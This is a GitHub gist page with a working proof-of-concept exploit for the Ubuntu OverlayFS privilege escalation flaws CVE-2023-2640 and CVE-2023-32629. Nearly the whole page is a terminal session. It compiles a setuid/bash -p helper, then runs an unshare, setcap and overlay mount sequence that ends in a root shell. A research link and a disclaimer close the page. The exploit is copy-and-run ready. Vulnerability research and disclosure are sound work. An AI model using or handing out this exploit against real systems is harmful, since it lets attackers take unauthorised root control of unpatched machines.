Skip to content

Instantly share code, notes, and snippets.

@petarbojic
Forked from win3zz/GameOver(lay).md
Created November 11, 2023 10:07
Show Gist options
  • Save petarbojic/d0cf47639ec1f742bcad3e5cf37b7870 to your computer and use it in GitHub Desktop.
Save petarbojic/d0cf47639ec1f742bcad3e5cf37b7870 to your computer and use it in GitHub Desktop.
Privilege escalation vulnerabilities in Ubuntu/Kali Linux (CVE-2023-2640 and CVE-2023-32629)
user@hostname:~/exploit$ cat > test.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    if (setuid(0) != 0) {
        fprintf(stderr, "\x1b[31mFailed to set UID to 0.\x1b[0m\n");
        return 1;
    }

    printf("Entering \x1b[36mprivileged\x1b[0m shell...\n");
    if (system("/bin/bash -p") == -1) {
        fprintf(stderr, "\x1b[31mFailed to execute /bin/bash -p.\x1b[0m\n");
        return 1;
    }

    return 0;
}
user@hostname:~/exploit$ gcc test.c -o test
user@hostname:~/exploit$ ls -l
total 20
-rwxr-xr-x 1 kali kali 16320 Nov 10 08:43 test
-rw-r--r-- 1 kali kali   412 Nov 10 08:42 test.c
user@hostname:~/exploit$ ./test 
Failed to set UID to 0.
user@hostname:~/exploit$ id
uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),119(wireshark),121(bluetooth),133(scanner),141(vboxsf),142(kaboxer)
user@hostname:~/exploit$ unshare -rm sh -c "
    mkdir l u w m &&
    cp test l/ &&
    setcap cap_setuid+eip l/test &&
    mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m &&
    touch m/test && 
    u/test;"
Entering privileged shell...
root@hostname:~/exploit# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
root@hostname:~/exploit#

Untitled-2023-11-10-1921

Refer to the original research article for more details: https://www.wiz.io/blog/ubuntu-overlayfs-vulnerability (archive)

Disclaimer

This PoC is intended for research and educational purposes only. Any actions taken based on the information provided in this gist are solely at the user's own risk. The vulnerabilities described in this report should not be exploited in any unauthorized or malicious manner. The authors and contributors are not responsible for any misuse or damage that may result from the use of this information.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment